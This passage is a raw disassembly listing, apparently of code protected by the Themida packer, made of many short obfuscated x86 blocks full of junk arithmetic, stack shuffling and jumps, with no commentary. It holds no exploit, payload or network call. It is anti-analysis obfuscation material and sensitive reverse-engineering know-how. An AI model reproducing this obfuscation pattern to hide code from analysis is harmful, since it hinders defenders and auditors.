loc_55F353:				; CODE XREF: Themida_:0055A92Dj
		add	ebx, 73A66FF9h
		xor	ebx, 198FD601h
		mov	edx, ebx
		pop	ebx
		xor	edx, 67684A3Ah
		add	eax, edx
		pop	edx
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55D2D4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	13D1h
		jmp	loc_562399
; ---------------------------------------------------------------------------


loc_55F396:				; CODE XREF: Themida_:0055F07Dj
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_55C4AF
; ---------------------------------------------------------------------------


loc_55F3A3:				; CODE XREF: Themida_:0056176Cj
		sub	eax, edx
		pop	edx
		sub	esp, 4
		jmp	loc_563CA8
; ---------------------------------------------------------------------------


loc_55F3B1:				; CODE XREF: Themida_:00552B29j
		push	edi
		push	5E9B32F6h
		pop	edi
		push	ebx
		jmp	loc_560998
; ---------------------------------------------------------------------------


loc_55F3BE:				; CODE XREF: Themida_:00561DA5j
		mov	[esp], eax
		jmp	loc_55CAB9
; ---------------------------------------------------------------------------


loc_55F3C6:				; CODE XREF: Themida_:0055D24Bj
		mov	[esp], ebx
		push	eax
		mov	al, 44h
		push	bx
		mov	bh, 83h
		jmp	loc_555268
; ---------------------------------------------------------------------------
		lodsb
		push	small 200Ch
		mov	[esp], cx
		mov	ch, 8Eh
		shl	ch, 2
		jmp	loc_551638
; ---------------------------------------------------------------------------


loc_55F3E8:				; CODE XREF: Themida_:005504CEj
		sub	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, 5C01534Fh
		sub	ecx, 5F4B2711h
		add	ecx, ebx
		add	ecx, 5F4B2711h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_554A8E
; ---------------------------------------------------------------------------


loc_55F40A:				; CODE XREF: Themida_:00551517j
		xor	eax, 0C1B464C8h
		xor	edx, eax
		pop	eax
		xor	edx, 68E17EE1h
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_552DE1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	8D3h
		push	esp
		jmp	loc_562A04
; ---------------------------------------------------------------------------


loc_55F433:				; CODE XREF: Themida_:0055D4C6j
		pop	ebx
		add	esp, 4
		jmp	loc_558AFA
; ---------------------------------------------------------------------------


loc_55F43F:				; CODE XREF: Themida_:0055B7BCj
		dec	ebx
		push	ecx
		mov	ecx, 0CEF4073h
		or	ecx, 4FE243EFh
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		add	ecx, 4E333828h
		add	ecx, 79F5C68h
		or	ecx, 5B5836BFh
		xor	ecx, 52397418h
		xor	ebx, ecx
		pop	ecx
		xor	ebx, 23B244F1h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_565A97
; ---------------------------------------------------------------------------


loc_55F47B:				; CODE XREF: Themida_:0055E464j
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5546B8
; ---------------------------------------------------------------------------


loc_55F48A:				; CODE XREF: Themida_:0055E7C0j
		pop	eax
		sub	bl, 0E0h
		sub	bl, dh
		jmp	loc_5643D1
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	small 1810h
		mov	[esp], ax
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55F4A7:				; CODE XREF: Themida_:0055AA0Aj
		mov	edi, [esp]
		add	esp, 4
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_565BCA
; ---------------------------------------------------------------------------


loc_55F4D4:				; CODE XREF: Themida_:0055DFD8j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_55C8D9
; ---------------------------------------------------------------------------


loc_55F4F2:				; CODE XREF: Themida_:0055D6E4j
		shl	esi, 7
		push	ecx
		mov	ecx, 42F60A5Dh
		inc	ecx
		not	ecx
		not	ecx
		not	ecx
		add	ecx, 9D190EB7h
		jmp	loc_5631B2
; ---------------------------------------------------------------------------


loc_55F50D:				; CODE XREF: Themida_:0055F058j
		push	ecx
		mov	ecx, 23A04AC0h
		mov	ebp, 39454670h
		xor	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_560095
; ---------------------------------------------------------------------------


loc_55F525:				; CODE XREF: Themida_:0055213Ej
		push	eax
		xor	dword ptr [esp], 424F1398h
		pop	edi
		jmp	loc_559637
; ---------------------------------------------------------------------------


loc_55F533:				; CODE XREF: Themida_:00557428j
		add	esp, 4
		push	edx
		mov	edx, 53262252h
		push	edx
		jmp	loc_55B253
; ---------------------------------------------------------------------------


loc_55F545:				; CODE XREF: Themida_:0055F143j
		add	al, 75h
		push	edx
		mov	dl, 0D6h
		push	eax
		mov	ah, 4Ah
		inc	ah
		jmp	loc_557667
; ---------------------------------------------------------------------------


loc_55F554:				; CODE XREF: Themida_:0055325Dj
		mov	ebx, 2
		jmp	loc_56325B
; ---------------------------------------------------------------------------


loc_55F55E:				; CODE XREF: Themida_:00565954j
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 231358E7h
		add	ecx, 0DCECA71Dh
		push	26E9h
		mov	[esp], eax
		mov	eax, 18A52665h
		sub	edx, eax
		pop	eax
		add	edx, ecx
		jmp	loc_55D6A5
; ---------------------------------------------------------------------------


loc_55F58F:				; CODE XREF: Themida_:005641C1j
		xor	edx, 290B36CFh
		shr	edx, 1
		sub	edx, 4EE4BCCCh
		xor	ebx, edx
		pop	edx
		push	edi
		mov	edi, 5ED8522Bh
		jmp	loc_557C4D
; ---------------------------------------------------------------------------


loc_55F5AB:				; CODE XREF: Themida_:00555F02j
		add	edx, 0A0078F07h
		sub	ebp, 149D2ECEh
		add	ebp, edx
		jmp	loc_55F319
; ---------------------------------------------------------------------------


loc_55F5BE:				; CODE XREF: Themida_:0055C5CAj
		jz	loc_5634CA
		sub	esp, 4
		jmp	loc_55B36A
; ---------------------------------------------------------------------------


loc_55F5CC:				; CODE XREF: Themida_:00556C40j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56208A
; ---------------------------------------------------------------------------


loc_55F5DA:				; CODE XREF: Themida_:0055E536j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xor	ebp, 457406A6h
		push	ecx
		mov	ecx, 22663F2Bh
		jmp	loc_562143
; ---------------------------------------------------------------------------


loc_55F5FA:				; CODE XREF: Themida_:00556768j
		pop	esp
		jmp	loc_551DC0
; ---------------------------------------------------------------------------


loc_55F600:				; CODE XREF: Themida_:005575E9j
		not	ebp
		sub	ebp, 0B29FF608h
		add	edi, ebp
		pop	ebp
		add	edi, 4
		push	4C8Dh
		jmp	loc_56474A
; ---------------------------------------------------------------------------


loc_55F618:				; CODE XREF: Themida_:0055F264j
		add	ebp, 3BA916B5h
		xor	ebp, 18F80DC2h
		jmp	loc_55D02A
; ---------------------------------------------------------------------------


loc_55F629:				; CODE XREF: Themida_:00553207j
		add	ebp, 0AF5354h
		add	eax, ebp
		pop	ebp
		or	eax, eax
		jnz	loc_55448D
		push	edi
		jmp	loc_5627F8
; ---------------------------------------------------------------------------


loc_55F640:				; CODE XREF: Themida_:0055371Bj
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3F037DBDh
		or	edi, 38EE13B9h
		sub	edi, 94D6817h
		shl	edi, 5
		jmp	loc_55D26E
; ---------------------------------------------------------------------------


loc_55F663:				; CODE XREF: Themida_:0055D1FDj
		push	esi
		push	662E179Fh
		pop	esi
		inc	esi
		add	esi, 0D73F4863h
		mov	edi, esi
		pop	esi
		add	[esp+4], edi
		pop	edi
		pop	eax
		sub	eax, 3D6D6003h
		jmp	loc_560F1B
; ---------------------------------------------------------------------------


loc_55F684:				; CODE XREF: Themida_:0055BD4Cj
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, esi
		pop	esi
		jmp	loc_55AC69
; ---------------------------------------------------------------------------


loc_55F694:				; CODE XREF: Themida_:0055B212j
		add	esp, 4
		push	esi
		xchg	eax, [esp]
		not	eax
		jmp	loc_564D62
; ---------------------------------------------------------------------------


loc_55F6A5:				; CODE XREF: Themida_:0056342Dj
		push	5F377C6Dh
		jmp	loc_5541A8
; ---------------------------------------------------------------------------


loc_55F6AF:				; CODE XREF: Themida_:0055B789j
		shl	esi, 5
		dec	esi
		jmp	loc_555995
; ---------------------------------------------------------------------------


loc_55F6B8:				; CODE XREF: Themida_:0055640Aj
		add	esi, eax
		push	ecx
		push	35A7h
		jmp	loc_552E28
; ---------------------------------------------------------------------------


loc_55F6C5:				; CODE XREF: Themida_:005652C4j
		push	edx
		mov	edx, ebp
		mov	ecx, edx
		pop	edx
		pop	ebp
		jmp	loc_55AC8D
; ---------------------------------------------------------------------------


loc_55F6D1:				; CODE XREF: Themida_:00556F36j
		mov	[esp], ebp
		mov	ebp, 4E143541h
		jmp	loc_555843
; ---------------------------------------------------------------------------


loc_55F6DE:				; CODE XREF: Themida_:0055D8B8j
		push	edi
		jmp	loc_55C96E
; ---------------------------------------------------------------------------


loc_55F6E4:				; CODE XREF: Themida_:00560B13j
		add	esp, 4
		sub	esi, 0E31BF328h
		add	eax, 5B3E7C12h
		jmp	loc_555335
; ---------------------------------------------------------------------------


loc_55F6FA:				; CODE XREF: Themida_:00565739j
		add	esp, 4
		jmp	loc_5593A0
; ---------------------------------------------------------------------------


loc_55F705:				; CODE XREF: Themida_:0055A31Bj
		mov	edx, 2DCE6A21h
		inc	edx
		jmp	loc_564087
; ---------------------------------------------------------------------------


loc_55F710:				; CODE XREF: Themida_:0055B3CAj
		add	bl, 0Bh
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_552143
; ---------------------------------------------------------------------------


loc_55F71C:				; CODE XREF: Themida_:0055ACA1j
		pop	edx
		add	eax, ebp
		push	edx
		jmp	loc_551392
; ---------------------------------------------------------------------------


loc_55F725:				; CODE XREF: Themida_:0055403Aj
		pop	ebp
		xchg	ebp, edi
		not	ebp
		jmp	loc_556108
; ---------------------------------------------------------------------------


loc_55F72F:				; CODE XREF: Themida_:0055E88Aj
		push	ecx
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55F736:				; CODE XREF: Themida_:0055EB3Cj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55BFAD
; ---------------------------------------------------------------------------


loc_55F741:				; CODE XREF: Themida_:0055C9BDj
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_553979
; ---------------------------------------------------------------------------


loc_55F74E:				; CODE XREF: Themida_:00551E80j
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		push	3D9B019Ch
		pop	esi
		add	esi, 0C264FE68h
		mov	ecx, esi
		pop	esi
		add	ebx, 163B5452h
		jmp	loc_55EB73
; ---------------------------------------------------------------------------


loc_55F770:				; CODE XREF: Themida_:00561717j
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], bx
		push	ecx
		mov	cl, 82h
		shr	cl, 4
		shr	cl, 2
		push	ebp
		jmp	loc_557F75
; ---------------------------------------------------------------------------


loc_55F78A:				; CODE XREF: Themida_:00555429j
		mov	edx, esi
		pop	esi
		jmp	loc_561715
; ---------------------------------------------------------------------------


loc_55F792:				; CODE XREF: Themida_:0056262Bj
		add	esp, 4
		push	4465h
		mov	[esp], edx
		push	3A530D1Ch
		jmp	loc_563EB0
; ---------------------------------------------------------------------------


loc_55F7AA:				; CODE XREF: Themida_:00562787j
		pop	eax
		push	43DCh
		mov	[esp], ecx
		jmp	loc_559DCF
; ---------------------------------------------------------------------------


loc_55F7B8:				; CODE XREF: Themida_:005647FBj
		pop	edi
		mov	esi, ebx
		pop	ebx
		jmp	loc_5532E6
; ---------------------------------------------------------------------------


loc_55F7C1:				; CODE XREF: Themida_:00557C28j
		xor	edx, [esp]
		jmp	loc_5523B8
; ---------------------------------------------------------------------------


loc_55F7C9:				; CODE XREF: Themida_:0055AA2Aj
		add	eax, 5A68364Ch
		add	eax, 7F444CDFh
		jmp	loc_561A54
; ---------------------------------------------------------------------------


loc_55F7D8:				; CODE XREF: Themida_:00559662j
		pop	ecx
		push	edi
		mov	edi, esp
		push	1A6Ch
		mov	[esp], ebx
		mov	ebx, 2FB215ACh
		jmp	loc_55C1C8
; ---------------------------------------------------------------------------


loc_55F7EE:				; CODE XREF: Themida_:005505AFj
		pop	esi
		shr	eax, 4
		jmp	loc_55D9B6
; ---------------------------------------------------------------------------


loc_55F7F7:				; CODE XREF: Themida_:00562A31j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 11D21788h
		jmp	loc_558A78
; ---------------------------------------------------------------------------


loc_55F80B:				; CODE XREF: Themida_:00560F0Fj
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 68457485h
		neg	esi
		jmp	loc_55B26F
; ---------------------------------------------------------------------------


loc_55F82B:				; CODE XREF: Themida_:0055C19Bj
		mov	[esp], ebx
		jmp	loc_553B2B
; ---------------------------------------------------------------------------


loc_55F833:				; CODE XREF: Themida_:00565B4Aj
		shl	eax, 4
		or	eax, 698D69C3h
		jmp	loc_552AE3
; ---------------------------------------------------------------------------


loc_55F840:				; CODE XREF: Themida_:00554002j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_564942
; ---------------------------------------------------------------------------


loc_55F855:				; CODE XREF: Themida_:00551CE9j
		inc	edi
		inc	edi
		shl	edi, 2
		push	eax
		mov	eax, 199CF648h
		jmp	loc_552B64
; ---------------------------------------------------------------------------


loc_55F865:				; CODE XREF: Themida_:0055B522j
		pop	esp
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		jmp	loc_55AF73
; ---------------------------------------------------------------------------


loc_55F87D:				; CODE XREF: Themida_:0055A794j
		shl	ebx, 3
		xor	ebx, 0BAD52C48h
		sub	edx, ebx
		pop	ebx
		add	edx, 8DD27728h
		jmp	loc_561B22
; ---------------------------------------------------------------------------


loc_55F894:				; CODE XREF: Themida_:00560AA1j
		add	esi, ebp
		jmp	loc_55BFEA
; ---------------------------------------------------------------------------


loc_55F89B:				; CODE XREF: Themida_:0055D91Bj
		mov	esi, 0FFFFFFFFh
		jmp	loc_553BFA
; ---------------------------------------------------------------------------


loc_55F8A5:				; CODE XREF: Themida_:00556FD0j
		push	dx
		mov	dh, 3Bh
		mov	cl, dh
		jmp	loc_550856
; ---------------------------------------------------------------------------


loc_55F8B0:				; CODE XREF: Themida_:0055CBDCj
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0Ah
		jmp	loc_55417F
; ---------------------------------------------------------------------------


loc_55F8C7:				; CODE XREF: Themida_:00557C31j
		add	esp, 4
		or	eax, eax
		jz	loc_552370
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_550A64
; ---------------------------------------------------------------------------


loc_55F8DD:				; CODE XREF: Themida_:0055DC80j
		add	esi, 4
		jmp	loc_56358C
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_55CD09
; ---------------------------------------------------------------------------


loc_55F8EE:				; CODE XREF: Themida_:00556EE2j
		add	esp, 4
		mov	[edx], ch
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55F903:				; CODE XREF: Themida_:0055433Fj
		pop	ebx
		add	edx, edi
		jmp	loc_55448C
; ---------------------------------------------------------------------------


loc_55F90B:				; CODE XREF: Themida_:005541C7j
		and	ebp, 3DD009F4h
		push	esi
		mov	esi, 7DE072BDh
		push	edx
		mov	edx, 0ED72228h
		jmp	loc_55D766
; ---------------------------------------------------------------------------


loc_55F922:				; CODE XREF: Themida_:0055E9D6j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55C277
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55F937:				; CODE XREF: Themida_:00559B9Cj
		xor	esi, ecx
		pop	ecx
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		push	esp
		jmp	loc_55C333
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		push	esp
		pop	edx
		push	ebx
		push	esi
		mov	esi, 8972AB2h
		sub	esi, 4899793Ah
		push	edi
		mov	edi, 1D806ED6h
		add	edi, 2281DFB6h
		jmp	loc_55E4FE
; ---------------------------------------------------------------------------


loc_55F982:				; CODE XREF: Themida_:005551FBj
		neg	ecx
		shl	ecx, 4
		jmp	loc_55094E
; ---------------------------------------------------------------------------


loc_55F98C:				; CODE XREF: Themida_:00553F3Aj
		pop	ebx
		jmp	loc_562DD8
; ---------------------------------------------------------------------------


loc_55F992:				; CODE XREF: Themida_:0055D204j
		mov	edi, 77115CD6h
		shr	edi, 6
		not	edi
		add	edi, 462077FBh
		and	esi, edi
		pop	edi
		add	esi, 414C5931h
		add	edi, esi
		pop	esi
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	edx, 6BC66DC7h
		sub	ebx, edx
		mov	edx, [esp]
		jmp	loc_55D4AB
; ---------------------------------------------------------------------------


loc_55F9C6:				; CODE XREF: Themida_:00557812j
		push	esp
		jmp	loc_56490E
; ---------------------------------------------------------------------------


loc_55F9CC:				; CODE XREF: Themida_:0056025Fj
		add	esp, 4
		jmp	loc_5622AC
; ---------------------------------------------------------------------------


loc_55F9D4:				; CODE XREF: Themida_:0055C7ECj
		mov	[esp], edi
		mov	edi, 4
		sub	ebp, 70FD5D63h
		sub	ebp, 18305B8Bh
		add	ebp, edi
		jmp	loc_5602F7
; ---------------------------------------------------------------------------


loc_55F9EF:				; CODE XREF: Themida_:005538ABj
		mov	ebx, 6BC71EA6h
		sub	eax, ebx
		pop	ebx
		jmp	loc_55A5B5
; ---------------------------------------------------------------------------


loc_55F9FC:				; CODE XREF: Themida_:005634DBj
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_557566
; ---------------------------------------------------------------------------


loc_55FA06:				; CODE XREF: Themida_:00555054j
		pop	edi
		xchg	eax, [esp]
		pop	esp
		jmp	loc_555CF4
; ---------------------------------------------------------------------------


loc_55FA10:				; CODE XREF: Themida_:00555FBFj
		not	ch
		shl	ch, 8
		shl	ch, 1
		jmp	loc_551B31
; ---------------------------------------------------------------------------
		lodsd
		push	26C0h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 77FB6C4Ch
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		inc	ebx
		jmp	loc_55AAD9
; ---------------------------------------------------------------------------


loc_55FA3B:				; CODE XREF: Themida_:0055481Dj
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, 4
		mov	eax, esi
		pop	esi
		sub	ebx, 32857D33h
		sub	ebx, eax
		jmp	loc_55EAC7
; ---------------------------------------------------------------------------


loc_55FA5B:				; CODE XREF: Themida_:0055A278j
		xor	al, bl
		inc	bl
		xchg	bl, al
		sub	al, 9Fh
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	cl, 4Eh
		mov	dl, cl
		pop	ecx
		and	dl, 2Ah
		xor	dl, 0C2h
		add	dl, 9Dh
		jmp	loc_5625DE
; ---------------------------------------------------------------------------


loc_55FA7D:				; CODE XREF: Themida_:00561B1Dj
		xor	esi, 7755CFh
		mov	ecx, esi
		jmp	loc_554560
; ---------------------------------------------------------------------------


loc_55FA8A:				; CODE XREF: Themida_:0055FD97j
		xor	ecx, edi
		pop	edi
		jmp	loc_557E91
; ---------------------------------------------------------------------------


loc_55FA92:				; CODE XREF: Themida_:00553937j
		push	ebp
		mov	ebp, 0D60FD9B2h
		add	ebx, 6C164EC2h
		sub	ebx, 18E42CFCh
		jmp	loc_5565F1
; ---------------------------------------------------------------------------


loc_55FAA9:				; CODE XREF: Themida_:005588FDj
		pop	edx
		jmp	loc_551C57
; ---------------------------------------------------------------------------


loc_55FAAF:				; CODE XREF: Themida_:0055AC64j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55656D
; ---------------------------------------------------------------------------


loc_55FABD:				; CODE XREF: Themida_:0056034Aj
		add	edx, edi
		add	edx, 45E535F6h
		pop	edi
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5547EF
; ---------------------------------------------------------------------------


loc_55FAEF:				; CODE XREF: Themida_:0055D7E9j
		mov	ebp, 3D1B3BDFh
		neg	ebp
		jmp	loc_564E66
; ---------------------------------------------------------------------------


loc_55FAFB:				; CODE XREF: Themida_:00553212j
		xor	ebp, 19428547h
		xor	ecx, ebp
		pop	ebp
		mov	eax, ecx
		pop	ecx
		add	edx, eax
		pop	eax
		jmp	loc_564BEC
; ---------------------------------------------------------------------------


loc_55FB0F:				; CODE XREF: Themida_:0055DF7Aj
		add	bl, cl
		pop	ecx
		jmp	loc_558902
; ---------------------------------------------------------------------------


loc_55FB17:				; CODE XREF: Themida_:00557139j
		mov	ebp, 0B0BB9B7Fh
		add	ebp, edi
		pop	edi
		add	edi, ebp
		pop	ebp
		push	6EAAh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55D943
; ---------------------------------------------------------------------------


loc_55FB46:				; CODE XREF: Themida_:00565729j
		push	edi
		mov	edi, 1712104Fh
		sub	edi, 51FE44E8h
		shr	edi, 8
		and	edi, 2EC41BE2h
		dec	edi
		sub	edi, 587C135Dh
		jmp	loc_554F75
; ---------------------------------------------------------------------------


loc_55FB67:				; CODE XREF: Themida_:00559223j
		pop	eax
		jmp	loc_553BDC
; ---------------------------------------------------------------------------


loc_55FB6D:				; CODE XREF: Themida_:0055D4D5j
		pop	dx
		push	eax
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		add	eax, 4
		jmp	loc_555422
; ---------------------------------------------------------------------------


loc_55FB94:				; CODE XREF: Themida_:0055CFF6j
		mov	esp, [esp]
		mov	[esp], edi
		push	7367h
		mov	[esp], ebp
		push	431D1BBBh
		pop	ebp
		push	ebx
		push	esi
		mov	esi, 221D503Eh
		mov	ebx, esi
		pop	esi
		inc	ebx
		xor	ebx, 3A8D2555h
		and	ebp, ebx
		pop	ebx
		jmp	loc_5540CE
; ---------------------------------------------------------------------------


loc_55FBC1:				; CODE XREF: Themida_:00557A92j
		add	edi, 4
		jmp	loc_55E48D
; ---------------------------------------------------------------------------


loc_55FBCC:				; CODE XREF: Themida_:0055F237j
		push	edx
		mov	edx, 0C392006h
		jmp	loc_55AFB0
; ---------------------------------------------------------------------------


loc_55FBD7:				; CODE XREF: Themida_:00553C37j
		pop	ebx
		jmp	loc_5645CC
; ---------------------------------------------------------------------------


loc_55FBDD:				; CODE XREF: Themida_:00561478j
		sub	ebx, eax
		pop	eax
		xor	ebx, eax
		push	dword ptr [esp]
		jmp	loc_55EBE4
; ---------------------------------------------------------------------------


loc_55FBEA:				; CODE XREF: Themida_:0055DE6Cj
		add	ecx, ebx
		jmp	loc_5631AA
; ---------------------------------------------------------------------------


loc_55FBF1:				; CODE XREF: Themida_:005559ECj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		dec	ecx
		shl	ecx, 6
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55C183
; ---------------------------------------------------------------------------


loc_55FC0A:				; CODE XREF: Themida_:0055BEFFj
		xchg	edi, [esp]
		pop	esp
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		div	cx
		push	2270h
		mov	[esp], edx
		push	esp
		pop	edx
		push	ecx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55330E
; ---------------------------------------------------------------------------


loc_55FC31:				; CODE XREF: Themida_:005511C6j
		mov	ecx, [esp]
		add	esp, 4
		pop	ebp
		add	ebx, 4
		push	3300h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_5523C6
; ---------------------------------------------------------------------------


loc_55FC4C:				; CODE XREF: Themida_:0056047Aj
		mov	esp, [esp]
		jmp	loc_55DE71
; ---------------------------------------------------------------------------


loc_55FC54:				; CODE XREF: Themida_:0055B57Fj
		add	esp, 4
		push	ebx
		push	5C80h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		push	ebp
		mov	ebp, 62661254h
		not	ebp
		dec	ebp
		jmp	loc_55E63E
; ---------------------------------------------------------------------------


loc_55FC82:				; CODE XREF: Themida_:005518F1j
		add	ebx, eax
		add	[ebx], ecx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5651D5
; ---------------------------------------------------------------------------


loc_55FC95:				; CODE XREF: Themida_:00552654j
		mov	[esp], ebp
		push	edi
		jmp	loc_55885C
; ---------------------------------------------------------------------------


loc_55FC9E:				; CODE XREF: Themida_:00552AD3j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	748Ch
		mov	[esp], ebp
		jmp	loc_561023
; ---------------------------------------------------------------------------


loc_55FCB5:				; CODE XREF: Themida_:0055E90Fj
		push	edi
		mov	edi, 591E6642h
		neg	edi
		add	edi, 3202F23Eh
		sub	ecx, edi
		pop	edi
		jmp	loc_5534C7
; ---------------------------------------------------------------------------


loc_55FCCB:				; CODE XREF: Themida_:00551CADj
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		mov	edi, 2
		add	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5588AF
; ---------------------------------------------------------------------------


loc_55FCF1:				; CODE XREF: Themida_:0055C244j
		pop	eax
		push	379Dh
		mov	[esp], ebp
		push	edi
		jmp	loc_561ED8
; ---------------------------------------------------------------------------


loc_55FD00:				; CODE XREF: Themida_:00552765j
		mov	ebp, 2701295Dh
		jmp	loc_55767F
; ---------------------------------------------------------------------------


loc_55FD0A:				; CODE XREF: Themida_:0055DF59j
		xor	cl, 51h
		xor	dl, cl
		jmp	loc_564816
; ---------------------------------------------------------------------------


loc_55FD14:				; CODE XREF: Themida_:0055EC82j
		push	ebp
		mov	ebp, 0CAA3F461h
		sub	edi, ebp
		pop	ebp
		mov	ebp, edi
		pop	edi
		push	edx
		jmp	loc_55FDD4
; ---------------------------------------------------------------------------


loc_55FD26:				; CODE XREF: Themida_:00550D21j
		add	esp, 4
		push	edi
		mov	edi, 779E72E3h
		jmp	loc_55EDEE
; ---------------------------------------------------------------------------


loc_55FD34:				; CODE XREF: Themida_:00561481j
		push	0CAAh
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		jmp	loc_55B565
; ---------------------------------------------------------------------------


loc_55FD45:				; CODE XREF: Themida_:00555B21j
		add	dh, 0D7h
		jmp	loc_5659F3
; ---------------------------------------------------------------------------


loc_55FD4D:				; CODE XREF: Themida_:00558625j
		push	edi
		mov	edi, 4
		jmp	loc_55837D
; ---------------------------------------------------------------------------


loc_55FD58:				; CODE XREF: Themida_:00562129j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 7477DC2h
		jmp	loc_55DDBB
; ---------------------------------------------------------------------------


loc_55FD6F:				; CODE XREF: Themida_:0055E500j
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55391A
; ---------------------------------------------------------------------------


loc_55FD8A:				; CODE XREF: Themida_:00563A98j
		dec	edi
		and	edi, 7B7B3A78h
		sub	edi, 959727B5h
		jmp	loc_55FA8A
; ---------------------------------------------------------------------------


loc_55FD9C:				; CODE XREF: Themida_:0055AD99j
		push	eax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55FDA3:				; CODE XREF: Themida_:0055B820j
		push	639Ah
		mov	[esp], esi
		push	edx
		jmp	loc_5631E3
; ---------------------------------------------------------------------------


loc_55FDB1:				; CODE XREF: Themida_:00554678j
		mov	ebp, 43D416DBh
		shr	ebp, 2
		and	ebp, 372E4F99h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 24785842h
		or	ebp, eax
		jmp	loc_561AE5
; ---------------------------------------------------------------------------


loc_55FDD4:				; CODE XREF: Themida_:0055FD21j
		push	358D33D3h
		pop	edx
		jmp	loc_552083
; ---------------------------------------------------------------------------


loc_55FDDF:				; CODE XREF: Themida_:0055793Dj
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 1Fh
		add	cl, 63h
		xor	cl, 0BDh
		sub	al, cl
